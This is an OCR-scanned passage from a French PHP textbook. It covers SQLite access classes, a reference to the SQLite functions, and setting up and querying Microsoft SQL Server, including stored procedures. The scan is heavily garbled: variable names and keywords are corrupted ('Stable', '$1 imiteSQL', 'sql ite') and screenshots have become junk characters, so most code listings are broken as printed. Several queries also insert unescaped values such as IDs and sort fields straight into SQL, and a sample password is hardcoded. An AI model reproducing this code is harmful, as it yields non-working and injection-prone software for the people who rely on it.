function CC_recupereUrl ($idConnexion, $urlid) 

{ 

global $table; 

// Recupere 1 'url 

$requete = "SELECT * FROM $table WHERE url id=$url id" ; 

$idResultat = sql ite_query($idConnexion, $requete) ; 

if ($enreg = sql ite_fetch_array($idResul tat)) { 
$url = $enreg["url "] ; 

// Incremente le compteur 

$requete = "UPDATE Stable SET nbel ic=nbcl ic+1 WHERE url id=$url id" ; 
sql ite_query($idConnexion, $requete) ; 
} else { 

$url = FALSE; 

} 

return $url ; 

}?> 



REMARQUE 



Utilisation du bouton retour 

Si, apres avoir suivi un lien, vous revenez sur la page compteurclic.php en utilisant le 
bouton retour (back), le contenu de la page ne sera pas reactualise. Par consequent, 
le nombre de visites affiche ne sera pas correct. N'oubliez done pas, dans ce cas, de 
rafraichir (bouton actualiser) la page. 



SuperTheque 

L'essentiel du code de l'application a ete presente en introduction de ce chapitre. II ne restait 
plus qu'a connaitre les fonctions SQLite pour implementer l'interface Ressourceinterf ace 
e'est desormais chose faite: 

Listing 10.86 : RessourceSQLiteclass.php 

<?php 
include_once("RessourceInterface_class.php") ; 

include_once(dirname( FILE ) ."/. ./config/sql ite_cfg.php") ; 

/** 

* RessourceSQLite_class.php 

* Classe d'acces a une base de donnees SQLite 
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* Cette classe doit implementer toutes les methodes de 1 'interface 

* Ressourcelnterface. 

* Compatibilite: PHP 5 

7 
class Ressource implements Ressourcelnterface 

{ 

var $idConnexion; 

public function connexion() 

{ 

global $sql ite_base; 

if (!isset($this->idConnexion)) { 

$idConnexion = sqlite_popen($sqlite_base) ; 
if (!$idConnexion) return FALSE; 
$this->idConnexion = $idConnexion; 

} 

return TRUE; 



public function deconnexion() 
{ 

// Rien a faire, il s'agit d'une connexion persistante 



public function reset () 

{ 

$requete = "DROP TABLE types"; 

$idResultat = @sqlite_query($requete, $this->idConnexion) ; 

// Pas de raison de retourner un erreur 

// si la suppression echoue (si la table n'existe pas) 

$requete = "CREATE TABLE types (". 

"id INTEGER PRIMARY KEY,". 

"type VARCHAR(255))"; 
$idResultat = sql ite_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$types = array ("Album", "Film", "Livre", "Musique"); 
foreach ($types as $type) { 

$requete = "INSERT INTO types (type) VALUES ('$type')"; 

$idResultat = sql ite_query($requete, $this->idConnexion) ; 

if (!$idResultat) return FALSE; 
} 

$requete = "DROP TABLE articles"; 

$idResultat = @sql ite_query($requete, $this->idConnexion) ; 

// Pas de raison de retourner un erreur 

// si la suppression echoue (si la table n'existe pas) 

$requete = "CREATE TABLE articles (". 
"id INTEGER PRIMARY KEY,". 
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"albumld INTEGER,". 

"titre VARCHAR(255),". 

"typeld INTEGER,". 

"commentaire VARCHAR(255)) "; 
$idResultat = sql ite_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 
} 

public function addArticle($albumId, 

$titre, 
$typeld, 
$commentaire) 

{ 

$requeteDebut = "INSERT INTO articles (albumld, titre, typeld"; 
$requeteFin = ") VALUES ($albumld,". 

.sql i te_escape_stri ng ($ti tre) . " ' , " . 

"$typeld"; 
if ($commentaire != "") { 

$requeteDebut .= ", commentaire"; 

$requeteFi n . = " , ' " . sql i te_escape_stri ng ($commentai re) ; 

} 

$requete = $requeteDebut . $requeteFin . ")"; 
$idResultat = sql ite_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 
} 

public function getArticle($articleId) 

{ 

$requete = "SELECT * FROM articles WHERE id=$articleld" ; 
$idResultat = sql ite_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$article = NULL; 

if ($enreg = sql ite_fetch_array($idResul tat)) { 
$article = $this->enreg2Article($enreg); 

} 

return $article; 

} 

public function getArticles(Filtre $filtre, Plage $plage, Tri $tri) 

{ 

$requete = "SELECT * FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 

} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE '". 
sqlite_escape_string($fil tre->getTitre()) . " ' 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 
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" AND typeId=".$filtre->getTypeId(); 
} 

if ($tri->getSens() == -1) { 

$tn'SQL = "ORDER BY " .$tri->getChamp() . " DESC"; 
} else if ($tri->getSens() == 1) { 

$triSQL = "ORDER BY " .$tri->getChamp() . " ASC"; 
} 

$1 imiteSQL = "LIMIT " .$plage->getNbArticleMax() . 

" OFFSET ".$plage->getPremierArticle() ; 

$requete = $requete." WHERE " .$condi tionSQL. " ". 

$triSQL." ".$1 imiteSQL; 
$idResultat = sql ite_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$articles = NULL; 

while ($enreg = sqlite_fetch_array($idResultat)) { 

$articles[] = $this->enreg2Article($enreg) ; 
} 

return $articles; 
} 

public function getNbTotalArticles(Fil tre $filtre) 
{ 

$requete = "SELECT C0UNT(*) FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 
} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE 

sql i te_escape_stri ng ($f i 1 tre->getTi tre () ] 
} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId(); 
} 

$requete = $requete." WHERE ".$conditionSQL; 

$idResultat = sql ite_query($requete, $this->idConnexion) ; 

if (!$idResultat) return FALSE; 

if ($enreg = sql ite_fetch_array($idResul tat)) { 

return $enreg[0] ; 
} else return FALSE; 



public function getTypes() 
{ 

$requete = "SELECT * FROM types"; 
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$idResultat = sql ite_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$types = NULL; 

while ($enreg = sql ite_fetch_array($idResul tat)) { 
$types[$enreg["id"]] = $enregt"type"] ; 

} 

return $types; 



public function getAlbumTypeId() 

{ 

// Avec SQLite les champs auto-incrementes commencent a 1 

return 1; 
} 



private function enreg2Article($enreg) 

{ 

$article = new Article(); 

$article->setld($enreg["id"]); 

$article->setAlbumId($enreg["albumId"]) ; 

$article->setTitre($enreg["titre"]) ; 

$article->setTypeId($enreg["typeId"]); 

$arti cl e->setCommentai re ($enreg ["commentai re"] ) ; 

return $article; 
} 



} 
?> 



Comme vous le constatez, la principale difficulte n'est pas tant au niveau des fonctions 
disponibles qu'au niveau de la construction des requetes SQL. La requete sera simple lorsqu'il 
ne s'agit que de recuperer un enregistrement identifie par la cle id (comme c'est le cas avec 
getArticle ( )) elle sera bien plus complexe s'il s'agit des recuperer un ensemble 
d'enregistrements repondant a des criteres precis et tries (comme c'est le cas avec 
getArticles ( ) ). 

Requetes avec des apostrophes 

Lors de la construction de la requete, il faut bien garder a 1'esprit que Fun des elements de la 
requete (typiquement un champ de type texte saisi par l'utilisateur, comme ici le titre ou le 
commentaire) peut contenir une apostrophe qui pourrait etre confondu avec le delimiteur de 
chaine. Pensez done bien a faire un appel a sqlite_escape_string( ) lorsque cela peut 
s'averer necessaire. 

Affichage page par page 

La meilleure fagon avec SQLite pour n'extraire qu'un sous-ensemble des enregistrements 
retournes par une requete SQL consiste a utiliser les instructions limit et offset, limit 
permet de preciser combien d'enregistrements doivent etre retournes et offset a partir duquel 
commencer (sachant que le premier enregistrement porte l'index 0). 



832 



SQLite 



Ainsi, select * from nomtable limit 10 offset 0; retourne les dix premiers 
enregistrements (de l'index a 1'index 9) et select * from nomtable limit 20 offset 10, ■ 
retourne les vingt suivants (de l'index 10 a l'index 29). 

Tri 

Modifier 1'ordre d'affichage des annonces n'est pas non plus bien sorcier. Le tri peut s'effectuer 
directement au niveau de la requete SQL, grace a l'instruction order by. 

Moteur de recherche (filtre) 

Pour filtrer, il suffit d'utiliser l'instruction where. Dans notre cas, nous souhaitons autoriser 
l'utilisation de jokers (comme %) afin, par exemple, de rechercher les titres commengant par 
une chaine donnee. C'est pourquoi, nous ne ferons pas un test de type titre= 'motcie ' mais 
titre like 'motcie' (ou motcie pourrait avoir la valeur "La 7eme compagnie%"). 



En savoir plus... 



Dans le cas d'une requete mise en memoire (c'est a dire sqlite_query( ) ou 
sqlite_array_query ( ) ), il est possible de connaitre le nombre de ligne du resultat. 



sqlite_num_rows () 

Permet de compter le nombre de lignes du resultat. 

Syntaxe int sql ite_num_rows (resource $idRequete) 

$idRequete Identifiant de requete. 

retour Nombre de lignes du resultat. 

II est egalement possible de connaitre le nombre de colonnes en faisant appel a 

sqlite_num_f ields ( ) . 



sqlite_num_fields () 



Permet de compter le nombre de colonnes du resultat. 

Syntaxe int sql i te_num_f ields (resource $idRequete) 

$idRequete Identifiant de requete. 

retour Nombre de colonnes du resultat. 

Pour connaitre le nom d'une colonne par son indice, il suffit de faire appel a 

sqlite_f ield_name ( ) . 
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sqlite_field_name () 

Retourne le nom d'une colonne 

Syntaxe int sql ite_fi el d_name (resource $idRequete, int numeroColonne) 

$i dRequete Identifiant de requete. 

$numeroCol onne Numero de la colonne dont on veut le nom. 

retour Nom de la colonne. 

Autre fonction tres utile, sqlite_iast_insert_rowid ( ) permet de connaitre l'identifiant qui 
a ete automatiquement attribue a la derniere insertion avec une colonne auto-incrementee. 

sqlite_last_insert_rowid () 

Permet de recuperer l'identifiant automatiquement attribue. 

Syntaxe int sql ite_last_insert_rowid (resource $idConnexion) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . 

retour Identifiant attribue. 

Lors d'une mise a jour il peut etre utile de savoir combien de lignes ont ete modifiees en 

Utilisant sqlite_changes ( ) . 



sqlite_changes() 



Retourne le nombre de lignes modifiees par la derniere requete effectuee sur la base de 
donnees dont l'identifiant est passe en parametre. 

Syntaxe int sql ite_changes (resource $idConnexion) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . 

retour Nombre de lignes modifiees. 

Lorsque un acces a la base de donnees doit-etre effectue, le serveur attend que le fichier soit 
libre (non utilise par un autre processus). Par defaut au bout de soixante secondes, le serveur 
genere une erreur. II est possible de changer cette valeur en utilisant 

sqlite_busy_timeout ( ) . 
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sqlite_busy_timeout () 



Permet de definir le temps avant lequel le serveur de base de donnees genere une erreur s'il 
n'arrive pas a acceder au fichier. 

Syntaxe void sql ite_busy_timeout(resource $idConnexion, int $temps) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . 

$ t emp s Temps en millisecond avant generation d'une erreur. 

Gerer l'encodage 

Pour encoder des donnees binaires (qui pourrait inclure le caractere NUL au milieu des 

donnees) il faut Utiliser sqlite_udf_encode_binary ( ) . 
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sqlite_udf_encode_binary() 



Encode la donnee. 

Syntaxe string sql ite_udf_encode_bi nary (string $donnee) 

$donnee Donnee a encoder, 

retour Donnee encodee. 

Lors de la recuperation de cette donnee, il faut faire l'operation inverse en utilisant 

sqlite_udf_decode_binary ( ) . 



sqlite_udf_decode_binary() 

Decode la donnee. 

Syntaxe string sql ite_udf_decode_bi nary (string $donnee) 

$donnee Donnee a decoder, 

retour Donnee decodee. 

sqlite_escape_string ( ) permet en outre d'eviter les problemes lies aux apostrophes. 
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sqlite_escape_string () 

Double les apostrophes et rend les donnees binaires 

Syntaxe string sqlite_escape_string (string $donnee) 

$donnee Donnee a encoder, 

retour Donnee encodee. 

A propos de SQLite 

II est possible de recuperer des informations sur la bibliotheque installee. 



sqlite_libversion() 

Retourne la version de SQLite utilisee. 

Syntaxe string sql ite_libversion() 

retour Numero de version. 



sqlitejibencoding () 

Retourne l'encodage utilise. (ISO-8859-1 ou UTF-8) 

Syntaxe string sql ite_l ibencoding() 

retour Encodage utilise (iso8859 ou utf8). 

10.13. SQL Server (MS) 

SQL Server est la solution de base de donnees proposee par Microsoft pour ses systemes 
d'exploitation Windows NT et XP. 

Installation 

Microsoft SQL Server n'existe, bien entendu, que sous Windows. 

Nous nous contenterons ici de decrire une installation standard, sans prendre en compte les 
problemes d'optimisation et de securite. Le but etant que vous puissiez installer PHP et SQL 
Server sur des machines de test pour vous familiariser avec cet environnement avant de passer 
a un serveur de bases de donnees destine a la production. 
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Pre-requis 

Pour commencer, vous devez vous procurer le CD-ROM d'installation ou telecharger une 
version devaluation a l'adresse http://www.microsoft.com/sql/tlownloads/default.asp. 

Installation du serveur de bases de donnees 

Nous supposerons ici que le serveur de bases de donnees est installe sur la meme machine que 
le serveur web. La version testee est la version Microsoft SQL Server 2000 de demonstration. 

La premiere des choses a faire est de lancer le fichier autonm.exe de votre dossier. 



Fichier Edition Affichage Favons Outib 

K3 Precedents "* Pechercht 
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Figure 10.39 : Dossier d'installation 

II faut ensuite cliquer sur Composants de SQL Server 2000, puis Installer le serveur. 

Le programme d'installation demandera alors si le serveur est a installer sur la machine 
courante ou sur une machine distante. Ici, l'installation se fera sur la machine courante. 
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Microsoft SQL Server 2000 
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Figure 10.40 : Emplacement du serveur 

II faudra ensuite choisir entre la configuration par defaut et la configuration personnalisee. 
Nous prendrons celle par defaut. Le nom et la societe de l'utilisateur sont ensuite demandes. 




Figure 10.41 : Nom et societe 
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Nous choisirons ensuite d'installer a la fois le serveur et les outils clients. 
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Figure 10.42 : Type (['installation V2 

Les options d'installation sont ensuite configurables. Nous garderons les valeurs par defaut : 




Figure 10.43 : Type d'installation 212 
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L'administrateur du service est a definir : par defaut, cela peut etre l'utilisateur qui installe le 
serveur, ou bien un autre qui peut etre sur un domaine different. 
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Figure 10.44 : Administrateur 

Pour finir, il est demande de preciser le mode d'authentification. II faut absolument mettre les 
deux modes d'authentification (SQL serveur et Windows), sinon la connexion par PHP ne 
fonctionnera pas. 

Demarrage du serveur de bases de donnees 

Le serveur s'etant installe en tant que service, son lancement est automatique. 

Creation d'une base 

Pour creer une base de donnees, il faut tout d'abord lancer le programme appele SQL Server 
Enterprise Manager, puis ouvrir les dossiers jusqu'a Bases de donnees. La, un clic bouton droit 
sur ce dossier fait apparaitre un menu contextuel affichant Nouvelle base de donnees. 
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Figure 10.45 : Ajouter une base de donnees 

II suffit alors de donner un nom a la base de donnees et, eventuellement, de modifier les 
chemins pour sauvegarder les donnees et les fichiers de traces. 

Ajouter un utilisateur 

Pour ajouter un utilisateur, il faut d'abord creer une connexion. Vous devez alors saisir un nom, 
selectionner Authentification SQL Server, entrer un mot de passe, puis selectionner la base de 
donnees qui vous interesse (voir fig. 10.46). 

Ensuite, pour ajouter un utilisateur a la base de donnees, il faut aller sur l'onglet Acces aux 
bases de donnees et cliquer sur les bases auxquelles vous souhaitez donner acces, puis choisir 
les droits d'acces. 

Dans le cas present, public, db_owner, db_datareader et db_datawriter ont ete 

selectionnes. 
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Figure 10.46 : Ajout d'une connexion 
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Figure 10.47 : Ajout d'un utilisateur 
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Test du serveur de bases de donnees 

Pour tester simplement que le serveur est bien installe, il suffit de lancer YAnafyseur de requites. 

Apres avoir selectionne la bonne base dans le menu deroulant, il suffit d'ecrire une ou plusieurs 
requetes puis de lancer l'execution par (F5) dans la fenetre Requete. Normalement, un message 
apparaitra dans la fenetre de la requete. 

Pour verifier, il suffit d'aller ouvrir le repertoire de la base de donnees, puis le repertoire Tables 
utilisateur. Pour ouvrir la table precedemment creee, il suffit de cliquer avec le bouton droit 
dessus et de faire Ouvrir. Le ou les enregistrements apparaitront dans une nouvelle fenetre. 

Configuration de PHP avec support SQLServer 

L'extension MS SQL n'est disponible que sur les systemes Windows 32 bits. Pour les autres 
plateformes, il est tout de meme possible d'interroger une base de donnees MS SQL a l'aide de 
l'extension Sybase. 

Vous devez, dans un premier temps, vous assurer d'avoir un fichier php_mssql.dll (fourni aussi 
bien avec l'archive du PHP Group qu'avec EasyPHP) dans le repertoire de vos extensions PHP. 
II vous suffit ensuite de modifier le fichier php.ini pour ajouter ou decommenter une ligne. 

extension=php_mssql .dl 1 

Quelques parametres sont configurables dans le fichier php.ini : 

[MSSQL] 

; Permet ou interdit les connexions persistantes. 

mssql .all ow_persi stent = On 

; Nombre maximum de connexions persistantes (-1 pour illimite). 
mssql .max_persi stent = -1 

; Nombre maximum de connexions persistantes et non persistantes 
; (-1 pour illimite). 
mssql .max_links = -1 

; Severite minimum des erreurs a afficher. 
mssql .mi n_error_severity = 10 

; Severite minimum des messages a afficher. 
mssql .mi n_message_severity = 10 

; Compataibilite avec la version 3.0 de PHP 
mssql .compatabil ityjnode = Off 

; Plage valide - 2147483647. Par defaut = 4096. 
;mssql .textlimit = 4096 

; Plage valide - 2147483647. Par defaut = 4096. 
;mssql .textsize = 4096 

; Limit le nombre d'enregistrement par groupe. 
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; = tous les enregistrements dans le meme groupe. 
;mssql .batchsize = 



<s> 


GO 


■o 


CD 


c 


£= 


o 


£= 


-j — 


O 


CO 


•a 


go 


CD 





•a 






= 


go 


_l 


CD 
GO 


O 


CO 







Verification 

Vous pouvez maintenant tester un script ne contenant que le code <?php phpinf o ( ) ,■ ?>. 
Vous devez apercevoir les lignes suivantes : 



mssql 



MSSOL Support 


enabled 


Active Persistent Links 





Active Links 





Library version 


7D 



Directive 


Local Value 


Master Value 


mssql.allowjereistent 


On 


On 


mssql. batchsize 








mssql. compatiibility mode 


Off 


Off 


mssql. connect timeout 


5 


5 


mssql.dfitetimeconvert 


On 


On 


mssql. maxjinks 


Unlimited 


Unlimited 


mssql. maxjjersistent 


Unlimited 


Unlimited 


mss(|l.min_error_severily 


10 


10 


mssql. min_messiiye_severity 


10 


10 


mssql.textlimit 


Server default 


Sewer default 


mss(|l.textsize 


Server default 


Server default 


mssql.tinieout 


BO 


60 



Figure 10.48 : phpinfo() 

Utilisation 

L'utilisation basique de la base de donnees s'opere selon le schema suivant : 

Connexion grace aux fonctions mssql_connect ( ) ou mssqljconnect ( ) et 
mssql_select_db ( ) . 

Soumission de la requete via la fonction mssqi_query ( ) . 

Deconnexion grace a la fonction mssqi_dose( ) (dans le cas d'une connexion non 
persistante). 

Connexion 

La connexion a une base de donnees Microsoft SQL Server necessite deux operations. II faut, 
dans un premier temps, se connecter au serveur de bases de donnees avec la fonction 
mssql_connect ( ) ; la selection de la base s'opere dans un second temps avec 

mssql_select_db ( ) . 
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mssql_connect() 

Etablit une connexion (non persistante) avec le serveur de bases de donnees. 

Syntaxe resource mssq1_connect( [string $nomServeur [:$port] [, string 

$utilisateur [, $motDePasse]]] ) 

$nomServeur Nom du serveur (par defaut "localhost"). 

$port Port sur lequel la connexion au serveur de bases de donnees s'effectue. 

$utilisateur Nom d'utilisateur. 

$motDePasse Mot de passe de l'utilisateur. 

retour Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 

d'echec. 

L'utilisation d'une connexion persistante requiert, a la place, l'appel a la fonction 

mssql_pconnect ( ) . 
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mssql_pconnect() 



Etablit une connexion persistante avec le serveur de bases de donnees. Si une connexion 
persistante est disponible, elle sera utilisee ; sinon, une nouvelle connexion persistante sera creee. 

Syntaxe resource mssql_pconnect([string $nomServeur [:$port] [, string 

$utilisateur [, $motDePasse]]] ) 

$nomServeur Nom du serveur (par defaut "localhost"). 

$ port Port sur lequel la connexion au serveur de bases de donnees s'effectue. 

$utilisateur Nom d'utilisateur. 

$motDePasse Mot de passe de l'utilisateur. 

retour Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 

d'echec. 



mssql_select_db() 

Selectionne une base de donnees. 

Syntaxe boolean mssql_select_db(string $baseDonnees [, resource 

$idConnexion]) 

$baseDonnees Nom de la base de donnees. 
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$i dConnexi on Identifiant de connexion au serveur de bases de donnees tel que retourne 

par mssql_connect ( ) . Par defaut, c'est l'identifiant de la derniere 
connexion qui est utilise. 

retour TRUE en cas de succes, FALSE sinon (ex. : base de donnees inexistante). 

Execution de la requete SQL 

L'execution d'une requete SQL s'opere par un simple appel a mssqLquery ( ) . 



mssql_query() 

Execute une requete SQL. 



Syntaxe resource mssql_query(string $requete [, resource 

$idConnexion]) 

$requete Requete SQL. 

$i dConnexi on Identifiant de connexion a une base de donnees tel que retourne par 

mssql_connect ( ) ou mssql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Identifiant de requete SQL, ou FALSE en cas d'echec. 

Dans le cas d'une requete retournant un resultat (typiquement une requete select), il faudra 
egalement analyser le resultat. Mais nous verrons cela un peu plus loin. 

Deconnexion 

Pour se deconnecter - operation theoriquement facultative mais toutefois vivement conseillee 
-, vous disposez de la fonction mssql_ciose ( ) . 



mssql_close() 

Met fin a la connexion a la base de donnees et libere les ressources associees. 

Syntaxe boolean mssql_close( [resource $i dConnexi on] ) 

$i dConnexi on Identifiant de connexion a une base de donnees tel que retourne par 

mssql_connect ( ) . Par defaut, c'est l'identifiant de la derniere 
connexion qui est utilise. 

retour TRUE si l'operation a ete effectuee avec succes, FALSE en cas d'echec. 



846 



SQL Server (MS) 



Premier exemple 

Nous voila done a meme de construire notre premier script utilisant une base de donnees. 



AVerifiez les parametres 
Prenez garde ! Avant d'executer ce script, assurez-vous que les parametres predefinis 
ATTENTION ne risquent pas de conduire a la suppression des donnees d'une de vos bases qui, par 
coincidence, existerait deja. 

Comme cela est fortement conseille, nous avons, ici, isole les parametres de connexion dans un 
fichier aisement reperable. 

Listing 10.87 : parametresbdincphp 

<?php 

// Parametres de connexion a la base de donnees 
// N'hesitez pas a les modifier selon vos besoins 

$serveur = "localhost"; 

$base = "maBase"; 

$utilisateur = "Emma"; 

SmotDePasse = "emma"; 
?> 

Notre script principal sera done : 

Listing 10.88 : insertOLphp 

<?php 

// Parametres du script 
require_once("parametres_bd_inc.php") ; 
Stable = "maTable"; 

// Inclusion du script contenant les fonctions 
require_once("insert01_bd_inc.php") ; 

// Connexion a la base de donnees 

$idConnexion = mssql_pconnect($serveur, $util isateur, SmotDePasse) ; 

if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 
} 
if (!mssql_select_db($base)) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 



// Appel de la fonction principale 

if (EX_initialiseBD($idConnexion, Stable)) { 

echo "Voila, une nouvelle table avec quelques donnees, 
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"vous pouvez le verifier avec votre client de base ". 

" de donnees ou via les scripts suivants."; 
} else { 

echo "La creation ou 1 'alimentation de la table a echouee."; 
} 

// Pas de deconnexion dans le cas d'une connexion persistante 
// mssql_close($idConnexion) ; 
?> 

et necessitera : 

Listing 10.89 : insert01_bd_inc.php 

<?php 

/** 

* Fonction chargee de creer et d'alimenter une table 

* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

** / 

function EX_initial iseBD($idConnexion, Stable) 

{ 

// Supprime la precedente table 
$requete = "DROP TABLE Stable"; 
@mssql_query($requete, $idConnexion) ; 

// Cree la table 

$requete = "CREATE TABLE Stable (filmld int ". 

" IDENTITY PRIMARY KEY,", 
"film VARCHAR(64))"; 
if (!mssql_query($requete, $idConnexion)) return FALSE; 

// Ajoute quelques donnees 

$requete = "INSERT INTO Stable (film) VALUES ('Forrest Gump')"; 

if (!mssql_query($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO Stable (film) VALUES ('Matrix')"; 

if (!mssql_query($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO $table (film) VALUES ('La cite 

if (!mssql_query($requete, $idConnexion)) return FALSE; 



de la peur' 



} 



return TRUE; 



?> 



Les procedures stockees 



Les procedures stockees offrent de multiples avantages, puisqu'elles permettent d'executer 
plusieurs requetes en un seul appel (une seule interrogation du serveur de bases de donnees par 
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le serveur web). De plus, ces requetes ne sont analysees qu'une seule fois, et non a chaque 
sollicitation, tout en permettant des appels successifs avec des parametres differents. 

De ce fait, les procedures stockees permettent d'effectuer des requetes plus rapidement. 
L'utilisation se justifie particulierement lorsque les memes requetes sont executees de 
nombreuses fois en ne changeant que quelques valeurs. 

II est possible d'ecrire une requete pour produire une procedure stockee ; il est aussi possible 
d'utiliser un outil d'aide fourni avec Microsoft SQL Server, plus precisement dans le logiciel 
Enterprise Manager fourni avec SQL Server. 

Apres avoir ouvert SQL Server Enterprise Manager, il faut choisir Outils>Assistants, ouvrir 
l'onglet Base de donnees , cliquer sur Assistant creation de procedure stockee puis OK. 



Selection d'un Assistant 



Ssiectionnez ('Assistant souhaiie : 



Assistant Inscription d'un serveur 
B Base de donnees 

Assistant Creation de base de donnees 



Assistant Creation de vue 
Assistant Creation d'indeK 
Assistant Creation d'une connexion 

+ Data Transformation Services 

+ Gestion 

El- Replication 



Figure 10.49 

Assistant 
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II faut ensuite definir sur quelle base de donnees la procedure stockee doit s'appliquer. 

Figure 10.50 : 

Base de donnees 
impliquee 



Assistant Creation de procedure stockee - (local) Vpubs 



Selectionner une base de donnees 

Seledioririez une ba.:e de donnees pom itocker le.: piocedurej sfockees. 



Hon; de li bj:::e de donnees : 




Puis il faut definir la ou les tables concernee(s) ainsi que la maniere dont elles le sont (Insertion, 
suppression et/ou mise a jour). Dans notre exemple, nous voulons simplement creer une 
procedure pour inserer une URL dans la table compteurclic . 
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Selectionner les procedures slockees 

Se!ec!ionnez une ou plusieurs actions -5 eaeculsr pa: vos procedures slockees. 
Poui cheque Sable, >'0lis pouvez creer de:: procedures slockees pour I'mseilion, 
la suppression ou la rnise a jour ds lignes. 



Norn dela table 


Inserer 


Supprimer Mettre a jour 


I* 
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Figure 10.51 : 

Tables impliquees 



< Precedent Suivant > 



II est ensuite possible de modifier les proprietes d'une procedure stockee pour ne selectionner 
que les champs que Ton veut passer en parametre. (Ici, les deux autres champs peuvent etre 
remplis par defaut par la base de donnees.) 



Modifier Les proprietes d'une procedure stockee 



r>f.fe procedure stockee perrnetira aua u'ilisafeurs d'mserer "ies lignes dans la 'abb « compteurdic * de la base 
■:I:E- donnees * maRsse » 



~ | Figure 10.52 

Details 



inserf_comptei.irclii:_1 



Nom de colonne 



Type de dennee? 



II est egalement possible d'intervenir sur la requete SQL. Dans notre cas, puisqu'il ne s'agit que 
d'une requete d'insertion, cela s'apparente plus a une requete preparee qu'a une veritable 
procedure stockee. Mais qu'importe ! a titre d'exemple, cela est largement suffisant. 

Voici un script qui ajoutera l'URL http://www.toutestfacile.com a la table compteurdic. 

Listing 10.90 : procstock.php 

<?php 

$idConnexion = mssql_pconnect("localhost", "Emma", "emma"); 
if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 

} 

if (Imssql select db("maBase")) { 
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die("<t»Impossible de se connecter a la base de donnees</b>") ; 

} 

$url= "http://www.toutestfacile.com"; 

$procedure = mssql_init("insert_compteurcl ic_l") ; 

mssql_bind($procedure, "@url_l", $url , SQLVARCHAR, FALSE, FALSE, 128); 

mssql_execute($procedure) ; 



mssql_init() 

Initialise une procedure stockee (distante ou non). 

Syntaxe int mssql_init(string $nomProcedure [, resource 

$idConnexion]) ; 

$nomProcedure Nom de la procedure a executer. 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

mssql_connect ( ) . Par defaut, c'est l'identifiant de la derniere 
connexion qui est utilise. 

retour Un identifiant de procedure stockee. 
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mssql_bind() 



Ajoute un parametre a une procedure stockee (distante ou non). 

Syntaxe boolean mssql_bind(int $idProcedure, int $nomParametre, mixed 

$variable, int $type [, boolean $paramDeSortie [, boolean $null 
[, int $longMax]]]) 

$idProcedure Identifiant deprocedure stockee tel que retourne par mssql_init ( ) . 

$nomParametre Le nom du parametre precede du signe '@' definissant une variable dans 

les procedures stockees de MS SQL. 

$vari abl e Elle peut etre passee par valeur ou par reference. 

$type Le type du parametre, au choix parmi : SQLTEXT, SQLVARCHAR, 

SQLCHAR, SQLINT1, SQLINT2, SQLINT4, SQLBIT et SQLFLT8. 

$paramDeSorti e TRUE s'il s'agit d'un parametre de sortie, FALSE (par defaut) sinon. 

$nul 1 TRUE si le parametre vaut NULL, FALSE (par defaut)sinon. 

$longMax Longueur du champ (-1 par defaut). Ce parametre est utilise pour les 

types CHAR et VARCHAR ; cette valeur doit etre la meme que celle definie 
lors de la creation de la table. 

retour TRUE en cas de succes, FALSE sinon. 
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Chapitre 10 L'utilisation des bases de donnees 

mssql_execute() 

Execute une procedure stockee sur une base de donnees Microsoft SQL Server. 

Syntaxe mixed mssql_execute(int $idProcedure) 

$idProcedure Identifiant deprocedure stockee tel que retourne par mssql_init ( ) . 

retour Identifiant de resultat de requete si la procedure retourne un resultat, 

TRUE si la procedure ne retourne pas de resultat, FALSE en cas d'erreur. 

Lecture des enregistrements 

Dans le cas d'une requete retournant une liste de donnees (typiquement un select), il 
convient de recuperer l'identifiant de requete et de l'utiliser generalement pour lire, en boucle, 
ligne apres ligne, chaque enregistrement (ou l'ensemble d'un bloc). II existe diverses fonctions, 
chacune permettant de recuperer les champs des enregistrements sous differentes formes. 

Les informations peuvent ainsi etre retournees : 

■ Champ par champ ; 

Enregistrement par enregistrement (sous la forme d'un tableau indexe, associatif, ou a la 
fois indexe et associatif). 

Lecture champ par champ 

Bien que cela presente peu d'interet, sachez qu'il existe une fonction appelee 
mssql_result ( ) permettant d'acceder au resultat champ par champ. 



mssql_result() 



Retourne un champ d'un enregistrement. 

Syntaxe string mssql_resul t(resource $resultat, int $enregistrement, 

mixed $champ) 

$resul tat Identifiant de resultat tel que retourne parmssql_query ( ) . 

$enregi strement Numero de l'enregistrement. 

$champ Numero ou nom du champ. 

retour Le champ demande, ou FALSE en cas d'erreur. 



Vitesse 

mssql_result ( ) est une fonction TRES lente par rapport a ses homologues 

REMARQUE 

mssql_fetch_row ( ), mssql_fetch_array() etmssql_fetch_object(). 
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Lecture enregistrement par enregistrement 

La forme la plus simple est celle retournee par la fonction mssqi_fetch_row( ) . 



mssql_fetch_row() 

Retourne un enregistrement, retourne par une requete SQL, sous la forme d'un tableau indexe. 

Syntaxe array mssql_fetch_row(resource $idResul tat) 

